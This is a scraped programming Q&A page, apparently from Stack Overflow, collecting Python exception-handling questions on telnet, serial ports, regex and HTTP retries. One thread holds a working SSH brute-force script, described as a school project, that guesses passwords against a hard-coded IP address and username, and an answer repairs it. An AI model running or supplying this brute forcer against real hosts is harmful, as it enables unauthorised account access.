Python Socket Connection Error/Exception Handling? - python

so I have the below loop that works great until it hits certain hosts that simply cause a connection error. Unfortunately, instead of skipping over these instances, it causes the script to crash. I know to catch and avoid this exception it is best to through the troubling statement (serveroutput = tn.read_until(b'STARTTLS')) in a try: except block. I can do that, however I am not sure how to catch the error and tell it to move on. If I add a break, it will break the loop and cause the script to stop prematurely anyway. How can I continue iterating through j? I've heard I can use 'continue' as a way to continue iteration, but am I even catching the right exception here?
My Code:
def getServers():
fp = open("mailserverdata.csv", "r")
pt = from_csv(fp)
fp.close()
domains = txt_domains.get(1.0, 'end').splitlines()
symbols = txt_symbols.get(1.0, 'end').splitlines()
for x in range(len(domains)):
#Start Get MX Record
answers = dns.resolver.query(str(domains[x]), 'MX')
#End Get MX Record
#Start Get Employees
if symbols[x]!='':
xml = urllib.request.urlopen('https://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20yahoo.finance.stocks%20where%20symbol%3D%22'+symbols[x]+'%22&diagnostics=true&env=store%3A%2F%2Fdatatables.org%2Falltableswithkeys')
dom = parse(xml)
numemployees = dom.getElementsByTagName('FullTimeEmployees')
if len(numemployees)!=0:
numemployees = numemployees[0].firstChild.nodeValue
else:
numemployees = 0
#End Get Employees
j=0
tlsbool = 'N'
verified = 'N'
for rdata in answers:
#Start Trim Domains
output = str(rdata.exchange)
output = output[:len(output)-1]
print(output)
#End Trim Domains
#Start Telnet
tn = telnetlib.Telnet(output,25)
tn.write(b'ehlo a.com\r\n')
serveroutput = tn.read_until(b'STARTTLS')
checkvar = "STARTTLS"
for checkvar in serveroutput:
tlsbool = 'Y'
break
#End Telnet
#Start verification
if output.find(domains[x])>-1:
verified = 'Y'
#End verification
if j==0:
pt.add_row([domains[x],output,tlsbool,numemployees,verified])
else:
pt.add_row(['',output,tlsbool,'',verified])
j = j + 1
txt_tableout.delete(1.0, 'end')
txt_tableout.insert('end',pt)
root.ptglobal = pt
Try Catch Code:
try:
serveroutput = tn.read_until(b'STARTTLS')
except SocketError as e:
if e.errno != errno.ECONNRESET:
raise # Not error we are looking for
pass # Handle error here.
Full Stack Error:
Traceback (most recent call last):
File "C:\Python34\lib\tkinter\__init__.py", line 1487, in __call__
return self.func(*args)
File "C:\Users\kylec\Desktop\Data Motion\Mail Server Finder\mailserverfinder.py", line 58, in getServers
serveroutput = tn.read_until(b'STARTTLS')
File "C:\Python34\lib\telnetlib.py", line 317, in read_until
self.fill_rawq()
File "C:\Python34\lib\telnetlib.py", line 526, in fill_rawq
buf = self.sock.recv(50)
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
UPDATE:
I tried the following code but I received the following error.
Code:
try:
serveroutput = tn.read_until(b'STARTTLS')
except tn.ConnectionsResetError:
continue
Error:
AttributeError: 'Telnet' object has no attribute 'ConnectionsResetError'

What ended up working for me in the end was a modification of what #user3570335 had suggested.
try:
serveroutput = tn.read_until(b'STARTTLS')
except Exception as e:
tlsbool = '?'

Related

Python SSH Brute Force

Im writing a SSH Brute Force program for a school project, however i am stuck on the part where i have to make the password function. This is what my code looks like so far.
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
The problem i have is that it understands that it should loop it, but all the output i get is:
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
Is there a way to fix this problem?
When i stop the program from running it gives me this Traceback:
Traceback (most recent call last):
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 52, in <module>
response = ssh_connect(password)
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 30, in ssh_connect
ssh.connect(hostname = hostname, port = port, password= password, username= username)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 394, in connect
look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 636, in _auth
self._transport.auth_password(username, password)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/transport.py", line 1329, in auth_password
return self.auth_handler.wait_for_response(my_event)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/auth_handler.py", line 198, in wait_for_response
event.wait(0.1)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 551, in wait
signaled = self._cond.wait(timeout)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 299, in wait
gotit = waiter.acquire(True, timeout)
KeyboardInterrupt
Process finished with exit code 1
The traceback you posted (the one you get when interrupting the process) is actually irrelevant. The one that would have been usefull to let you debug the problem by yourself is lost due to your useless and actually harmful exception handler in your script's main loop, which you should either remove totally or at least rewrite to only catch expected exceptions - and then only wrap the ssh_connect() call, not the following code. IOW, you want to replace this:
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
With
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
except (your, list, of, expected, exceptions, here) as :
do_something_to_correctly_handle_this_exception_here(e)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
wrt/ your current problem, it's in the print calls above: you have:
print("some message" (variable, eventually_another_variable))
which is interpreted as:
msg = "some message" (variable, eventually_another_variable)
print(msg)
where the first line is interpreted as a function call applied to the "some message" string, hence the exception. What you want is string formatting, ie:
print("Password Incorrect: {} {}".format(username, password))
There are also quite a few things that are a bit wrong with your code, like opening files without closing them properly, mixing functions and top-level code instead of putting all operational code in functions on only have one single main function call at the top-level, writing passwords to a file and re-reading that file when you don't need it (technically at least), etc...
It's working. Try this:
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: {}, {}, {}, {}".format(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: {}, {}".format(username, password))
elif response == 2:
print("Connection Failed: {}".format(hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
In line 56, 60, 63 you ain't calling the variable properly. You forgot % though you can also use .format() as I have used in the code above

Python reading from serial

I'm trying to read data from an RFID (RMD6300) to Raspberry Pi 1 in python but after reading for 30-40 secs whitout interruptions it crashes with the following error message:
Traceback (most recent call last): File "tmp.py", line 7, in
string = ser.read(20) File "/usr/local/lib/python2.7/dist-packages/serial/serialposix.py", line
501, in read
'device reports readiness to read but returned no data ' serial.serialutil.SerialException: device reports readiness to read
but returned no data (device disconnected or multiple access on port?)
this is my code:
import serial
ser = serial.Serial('/dev/ttyAMA0',9600, timeout=1)
IDs = ["xxxxxxxxxx","xxxxxxxxxx"]
while True:
bool = False;
string = ser.read(20)
if len(string) == 0:
print "Insert tag"
continue
else:
for i in range(len(IDs)):
for l in range(len(string)):
if IDs[i] in string:
print IDs[i]
bool = True
break
else:
string = string[1:]+string[0]
if bool:
break
if not bool:
print "Not found"
Question: ... device reports readiness to read but returned no data
Increase your timeout:
ser = serial.Serial('/dev/ttyAMA0',9600, timeout=1)
Use try ... except
try:
string = ser.read(20)
except serial.serialutil.SerialException:
except_counter +=1
if except_counter == 5:
break
time.sleep(1)
Question: ...device disconnected or multiple access on port?
Can you exclude this two points?

why is the regex function always popping up the Attribute Error?

I have been writing a function in python to get the IP of a computer. The code is given below :
def getip(self):
self.path = "/root"
self.iplist = []
os.chdir(self.path)
os.system("ifconfig > ipfinder")
try:
file = open("ipfinder","r")
self.pattern = '(\d{1,3}\.){3}\d{1,3}'
while True:
line = file.readline()
try:
ip = re.search(self.pattern, line).group()
self.iplist.append(ip)
except AttributeError:
pass
file.close()
except EOFError:
for ip in self.iplist:
print ip
I know this is not a good way to get the IP of a machine. The problem is that the AttributeError pops up every single time. Why is it happening? why can't a match be found?
I ran it in my local. Found 4 things be be modified!
a) regex:- \d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}
b) trim for any extra space while reading:- file.readline().strip()
c) If it comes to end of line, break the while:-
if line == '':
break
d) Instead of re.search, do re.finall
The modified code that works in my system without AttributeError is:-
def getip(self):
self.path = "/root"
self.iplist = []
os.chdir(self.path)
os.system("ifconfig > ipfinder")
try:
file = open("ipfinder","r")
self.pattern = '\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}'
while True:
line = file.readline().strip()
if line == '':
break
try:
ip = re.findall(self.pattern, line)
self.iplist.append(ip)
except AttributeError:
pass
file.close()
except EOFError:
for ip in self.iplist:
print ip

Python catch timeout and repeat request

I'm trying to use the Xively API with python to update a datastream but occasionally I get a 504 error which seems to end my script.
How can I catch that error and more importantly delay and try again so the script can keep going and upload my data a minute or so later?
Here's the block where I'm doing the uploading.
# Upload to Xivity
api = xively.XivelyAPIClient("[MY_API_KEY")
feed = api.feeds.get([MY_DATASTREAM_ID])
now = datetime.datetime.utcnow()
feed.datastreams = [xively.Datastream(id='temps', current_value=tempF, at=now)]
feed.update()
And here's the error I see logged when my script fails:
Traceback (most recent call last):
File "C:\[My Path] \ [My_script].py", line 39, in <module>
feed = api.feeds.get([MY_DATASTREAM_ID])
File "C:\Python34\lib\site-packages\xively_python-0.1.0_rc2-py3.4.egg\xively\managers.py", >line 268, in get
response.raise_for_status()
File "C:\Python34\lib\site-packages\requests-2.3.0-py3.4.egg\requests\models.py", line 795, >in raise_for_status
raise HTTPError(http_error_msg, response=self)
requests.exceptions.HTTPError: 504 Server Error: Gateway Time-out
Thanks,
P.S. I've replaced my personal info with [MY_INFO] but obviously the correct data appears in my code.
I usually use a decorator for this:
from functools import wraps
from requests.exceptions import HTTPError
import time
def retry(func):
""" Call `func` with a retry.
If `func` raises an HTTPError, sleep for 5 seconds
and then retry.
"""
#wraps(func)
def wrapper(*args, **kwargs):
try:
ret = func(*args, **kwargs)
except HTTPError:
time.sleep(5)
ret = func(*args, **kwargs)
return ret
return wrapper
Or, if you want to retry more than once:
def retry_multi(max_retries):
""" Retry a function `max_retries` times. """
def retry(func):
#wraps(func)
def wrapper(*args, **kwargs):
num_retries = 0
while num_retries <= max_retries:
try:
ret = func(*args, **kwargs)
break
except HTTPError:
if num_retries == max_retries:
raise
num_retries += 1
time.sleep(5)
return ret
return wrapper
return retry
Then put your code in a function like this
##retry
#retry_multi(5) # retry 5 times before giving up.
def do_call():
# Upload to Xivity
api = xively.XivelyAPIClient("[MY_API_KEY")
feed = api.feeds.get([MY_DATASTREAM_ID])
now = datetime.datetime.utcnow()
feed.datastreams = [xively.Datastream(id='temps', current_value=tempF, at=now)]
feed.update()
You could throw in a try/except statement in a loop that has a sleep timer for however long you want to wait between tries. Something like this:
import time
# Upload to Xivity
api = xively.XivelyAPIClient("[MY_API_KEY")
feed = api.feeds.get([MY_DATASTREAM_ID])
now = datetime.datetime.utcnow()
feed.datastreams = [xively.Datastream(id='temps', current_value=tempF, at=now)]
### Try loop
feed_updated = False
while feed_updated == False:
try:
feed.update()
feed_updated=True
except: time.sleep(60)
EDIT As Dano pointed out, it would be better to have a more specific except statement.
### Try loop
feed_updated = False
while feed_updated == False:
try:
feed.update()
feed_updated=True
except HTTPError: time.sleep(60) ##Just needs more time.
except: ## Otherwise, you have bigger fish to fry
print "Unidentified Error"
## In such a case, there has been some other kind of error.
## Not sure how you prefer this handled.
## Maybe update a log file and quit, or have some kind of notification,
## depending on how you are monitoring it.
Edit a general except statement.
### Try loop
feed_updated = False
feed_update_count = 0
while feed_updated == False:
try:
feed.update()
feed_updated=True
except:
time.sleep(60)
feed_update_count +=1 ## Updates counter
if feed_update_count >= 60: ## This will exit the loop if it tries too many times
feed.update() ## By running the feed.update() once more,
## it should print whatever error it is hitting, and crash

How to let Python code continue after telnet (telnetlib) timeout

I am using Python for Automated telnet program using telnetlib. The problem is: when the device that I am trying to telnet to doesn't responsd, means timeout; the program gives me timeout message and doesn't continue to next commands.
My Code:
import telnetlib
HOST = ("x.x.x.x")
USER = ("xxxxx")
PWD = ("yyyyy")
ENABLE = ("zzzzz")
TNT = telnetlib.Telnet(HOST, 23, 5)
TNT.read_until(b"Username:")
TNT.write(USER.encode('ascii') + b"\n")
TNT.read_until(b"Password:")
TNT.write(PWD.encode('ascii') + b"\n")
TNT.write(b"enable\n")
TNT.read_until(b"Password:")
TNT.write(ENABLE.encode('ascii') + b"\n")
TNT.write(b"terminal length 0\n")
TNT.write(b"show run\n")
TNT.write(b"exit\n")
print (TNT.read_all().decode('ascii'))
TNT.close()
raw_input ("Press any Key to Quit: ")
Error Message:
Traceback (most recent call last):
File "D:\Python\Telnet (Python 2.7) V1.5.py", line 8, in <module>
TNT = telnetlib.Telnet(HOST, 23, 5)
File "C:\Python27\lib\telnetlib.py", line 209, in __init__
self.open(host, port, timeout)
File "C:\Python27\lib\telnetlib.py", line 225, in open
self.sock = socket.create_connection((host, port), timeout)
File "C:\Python27\lib\socket.py", line 571, in create_connection
raise err
timeout: timed out
>>>
How can let the program to just notify me that this device isn't reachable and let it continue with the next commands ??
Wrap the operations in a try block, and handle the exception in a catch block.
The exception you're looking for is socket.timeout. so:
import socket
try:
TNT = telnetlib.Telnet(HOST, 23, 5)
except socket.timeout:
sulk()
Which I discovered in this way:
>>> try:
... t = telnetlib.Telnet("google.com", 23, 5)
... except:
... import sys
... exc_info = sys.exc_info()
>>> exc_info
(<class 'socket.timeout'>, timeout('timed out',), <traceback object at 0xb768bf7c>)
It might be that timeout is too specific. You might instead prefer to catch any IOError
try:
TNT = telnetlib.Telnet(HOST, 23, 5)
except IOError:
sulk()
Python terminates your program whenever as exception arrives. For handling exception you need to wrap it in try, catch statements.
Put your telnet statement in try statement and catch exception using except as shown below:
import telnetlib
HOST = ("x.x.x.x")
USER = ("xxxxx")
PWD = ("yyyyy")
ENABLE = ("zzzzz")
try:
TNT = telnetlib.Telnet(HOST, 23, 5)
except:
print "<your custom message>"
pass
TNT.read_until(b"Username:")
TNT.write(USER.encode('ascii') + b"\n")
TNT.read_until(b"Password:")
TNT.write(PWD.encode('ascii') + b"\n")
TNT.write(b"enable\n")
TNT.read_until(b"Password:")
TNT.write(ENABLE.encode('ascii') + b"\n")
TNT.write(b"terminal length 0\n")
TNT.write(b"show run\n")
TNT.write(b"exit\n")
print (TNT.read_all().decode('ascii'))
TNT.close()
raw_input ("Press any Key to Quit: ")

Categories

Resources